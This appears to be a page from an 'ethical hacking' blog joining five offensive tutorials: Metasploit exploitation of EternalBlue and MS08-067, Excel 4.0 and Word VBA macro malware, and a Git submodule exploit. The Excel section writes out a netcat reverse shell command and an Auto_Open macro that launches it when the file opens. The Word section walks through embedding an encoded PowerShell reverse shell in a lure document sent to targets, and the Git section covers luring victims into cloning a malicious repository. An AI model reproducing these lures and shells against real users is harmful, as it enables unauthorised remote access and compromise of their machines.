Category: Windows Hacking

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EternalBlue vulnerability: Explained with POC

Hello, aspiring Ethical Hackers. In this article, you will learn about the infamous EternalBlue vulnerability and its exploitation.

Vulnerability & Impact

Exploited by Wannacry ransomware, the EternalBlue vulnerability exists in the Server Message Block (SMB) protocol. Due to improper handling of specially crafted packets by SMB version 1 (SMBV1) of Microsoft windows this vulnerability allows attackers to execute malicious code on the vulnerable systems. This vulnerability affects Microsoft Windows versions Windows Vista, Windows 7, Windows 8.1, Windows 10, Windows Server 2008, Windows Server 2012, Windows XP, Windows 8 and Windows Server 2003. This vulnerability was observed being exploited as recently as 2020.

Proof Of Concept

As the vulnerability is so famous (I mean infamous), Metasploit has already released exploit modules for this particular vulnerability.

We are going to test some of these modules on a Windows 7 target. Let’s first use the scanner module of metasploit to test whether this machine is vulnerable to EternalBlue vulnerability.

Set the RHOSTS option and execute the module.

The scanner module confirms that the target is indeed vulnerable. Now, let’s load the module for exploiting Eternal Blue vulnerability and grab a session.

Set all the required options and use “check” command to see if the target is indeed vulnerable.

After all the required options are set, execute the module.

eternalblue

As you can see, we got a meterpreter session on the target system and that too with SYSTEM privileges.

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Excel Macros for beginners

Hello aspiring ethical hackers. In our previous article, you have learnt what a Macro is and how to create a malicious VBA macro. In this article, you will learn about Excel 4.0 Macros and how to create one. Excel 4.0 Macros or XLM were introduced by Microsoft in 1992 when Excel 4.0 was launched as a default macro language and they serve the same functions as VBA macros in Word.  

As Excel 4.0 Macros are used for legitimate purposes, they can’t just be disabled by many. Further increasing the effectiveness of these macros, there is not yet a good detection method to detect malicious XL4 macros. Apart from this, they are very simple create but also very powerful just like Visual Basic Application (VBA) Macros.

 Now let’s see how to create an Excel 4.0 Macro. On a Windows system, we open Excel in Microsoft Office or the Office Suite. We are doing this on Microsoft Office 2007. You should see an Excel Workbook opened as shown below.

Right click on “Sheet 1” and select the “Insert” option as shown below.

In the newly opened window, select MS Excel 4.0 Macro and click on “OK”.

excel 4.0 macros

This will change the name of “Sheet 1” to “Macro 1” as shown below.

Save the file with the name you like. We have named it “evil_macro” for easy identification. While saving it, save it as a Macro Enabled Excel Workbook.

Once the file is saved, it’s time to create the macro. In the first column, which is named A1, we insert the command given below.

=EXEC(“cmd.exe”)

You may not realize, but you have already created your first XL4 macro. In the second column, i.e A2, insert another command =HALT(). This is to ensure that the macro you created does not face an error while running. It’s time to test your macro. Right Click on the first column, and click on “Run” as shown below.

Most probably, this will open a new window as shown below. Click on “Run”.

Doing this opens a Windows CMD window as shown below.

Voila, we successfully created a Excel 4.0 Macro and even executed it. If you have noticed it, we opened a Windows CMD by inserting a simple code. Now, let’s make a few changes to the “evil_macro” file. Move the =HALT() command to A3 cell and enter command given below in cell A2. Save the file.

=ALERT(“You have been hacked”)

Right click on Cell A1 and select “Run” again just like you did before.

Now, we can see that apart from Windows CMD window being opened, another window popped up with the message “You have been hacked”. We have just performed two operations with macros in one file. Not just cmd.exe, we can open other programs like Notepad and Calc.exe using the “=exec” function.

Now, let’s try something a bit advanced like spawning a reverse shell now. Download the Netcat Windows executable. Open Notepad and insert the following command into it.

<Path to Netcat Windows executable> <target IP> <target port> -e cmd.exe.

On our system, this command looks like this.                    

C:\Users\nspadm\Desktop\nc.exe 192.168.36.189 4444 -e cmd.exe

The -e option specifies which command to execute after netcat makes a successful connection. Now, save this file as a CMD file.  This can be done by saving the file in double quotes. For example, “shell.cmd” and keeping the file type as all files.

Now, in your evil_macro file, change the =EXEC function to execute the shell.cmd file you just now created as shown below.

Save the file. Before executing the macro, start a Netcat listener on the listener IP address you specified.

Now, when you execute the macro, you should get a successful shell as shown below.

This is all fine but nobody will open an Excel file and execute some suspicious looking code in it. We need the code to run automatically as soon as the user opens the Excel file. To do this, Click on A1 cell of your “evil_macro” file and rename it to “Auto_Open” as shown below.

Save the changes and close the file. Start the netcat listener again. Now, just open the evil_macro file and you should see the successful spawning of reverse shell again. That’s all about Excel 4.0 Macros for now.

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Malicious Macro’s : What, Why and How

Hello aspiring Ethical Hackers. In this article, you will learn about Malicious Macros also known as Macro Malware or Macro Virus. In computer science, a Macro is a set of commands grouped together as a single command. This is used to run some tasks automatically. In Word, Macros are used to automate frequently used tasks.
           Hackers have been using Macros since a long time as a means to gain initial access to target networks by injecting malicious code into macros. These macros all called malicious macros or macro malware or macro virus. Let’s see how to create a malicious macro.
             For this we will be using a tool that is here. In Kali, clone this tool as shown below.

Navigate into the cloned directory.

Inside that directory, there will be two python scripts: “newpayloadgeneration.py” and ‘payload.py’. Run the script ‘newpayloadgeneration.py’ giving the Attacker IP and port as options. This script generates a Powershell script for reverse shell. Obviously, the IP and port should be of that system on which the listener is running to receive the reverse shell.

Copy the generated encoded string. Open the file ‘payload.py’ and paste the encoded string in the highlighted place.

Once pasted, save the file ‘payload.py’ to preserve the changes. Now, execute the ‘payload.py’ script.

The code for malicious macro is ready. Now let’s create a Macro document. For this tutorial, we are using MS Office 2007 to create it. Open a new Word document, go to View tab and click on Macros (as highlighted below).

malicious macro

Click on “view macros”.

In the new window that opens, click on “create” and give any name you prefer to that macro (We named it test, obviously).

Now, we create the code for macro. It starts with “Sub AutoOpen(). “Sub” stands for Subroutine in macro. It is a small program within the Visual Basic editor. Setting AutoOpen() executes the macro automatically whenever the document is opened. In the subroutine test(), we paste the malicious code we created earlier as shown below.

Then we save this file. This file is sent to the target users. In Real World hacking attacks, since this is the lure document, some bells and whistles are added to convince users to open the document and enable macros. We start the Netcat listener on the attacker machine. When the target user opens this file, we get a security warning saying that macros have been disabled. This is a security feature by Microsoft to protect user from malicious macros. Let’s enable macros for this tutorial. click on options and enable macros as shown below.

As soon as we do this, a Powershell window opens (remember that a we created a Powershell reverse shell)

and we get a incoming reverse shell on our listener as shown below.

This is how malicious macros work to give attackers initial access.

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ms08-067 exploitation to hack Windows XP

Hello aspiring ethical hackers. In this article, we will see how to exploit ms08-067 vulnerability to hack Windows XP. As our readers may already know by now, ms08-067 is a vulnerability in Windows 2000, Windows Server 2003 and Windows XP.  It is a critical vulnerability that allows remote code execution on the target Windows system by sending a specially crafted RPC request to it.

This vulnerability doesn’t require any authentication or even user interaction on the target side. That’s the reason why it is ubiquitous in any ethical hacking course. We have exploited this vulnerability recently in our February 2021 Issue. But that was done using without Metasploit.

In this article, we will do this with Metasploit. For this, we have chosen our target as Windows XP SP2 and our Attacker system as Kali Linux. Most of the Antivirus ended their support to Windows XP SP2 (Windows XP SP3 is the minimum supported version. Even Real world systems running Windows XP SP2 are running without Anti Virus.)

So Nmap scan revealed a Windows target as shown below.

Start Metasploit and load the ms08_067 module.

Set all the required options and use check command to see if the target is indeed vulnerable.

The target is indeed vulnerable. Now, execute the module as shown below.

ms08-067

As readers can see, we successfully got a meterpreter session with SYSTEM privileges.

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Hack Remote PC with Git Submodule

Hello aspiring hackers. In this howto, we will learn how to hack remote PC with Git Submodule. If you are a developer, cyber security enthusiast or at least a computer user, you should have definitely used (or heard about) Github. Git is an open source version control system developed by none other than the awesome Linus Trovalds (yes the same guy who created Linux).

It is a system designed to keep in touch with constant changes made to the code of software by developers. GitHub is a popular hub where developers store their projects and network with like minded people. Github stores information in a data structure called a repository. The particular module exploits a vulnerability in Git submodule.

Git submodules allow users to attach an external repository inside another repository at a specific path. This vulnerability in the Git submodule can be exploited by an attacker who can change the URL of a sub- module in a repository. This URL in the submodule can be changed to point towards a malicious link.

This module is a local exploit and works on Git versions 2.7.5 and lower. Now let us see how this module works. Start Metasploit and load the exploit as shown below. Type command “show options” to see all the options we need for this module to run.

First, we need to configure the malicious Git server. Set the options : LHOST, git_uri and Iport options as shown below. The git_uri option sets the malicious git submodule. Use command “run” to start our Git server. As the user git clones from our URL, we will get a command session on the target.

Now we need to send this malicious Git url to our intended victims. Probably it should be set as a software to convince the users to clone into their machine. Here we are testing this on KaIi Linux 2016 machine which has the vulnerable version of Git installed. We need to instruct the user to update the submodule just cloned. Let us see what happens on the victim machine.

As this happens in our victim system, we will already get a command shell on our attacker system as shown below.

We can see the active sessions using the command “sessions”.

That is how we hack remote pc with Git Submodule.

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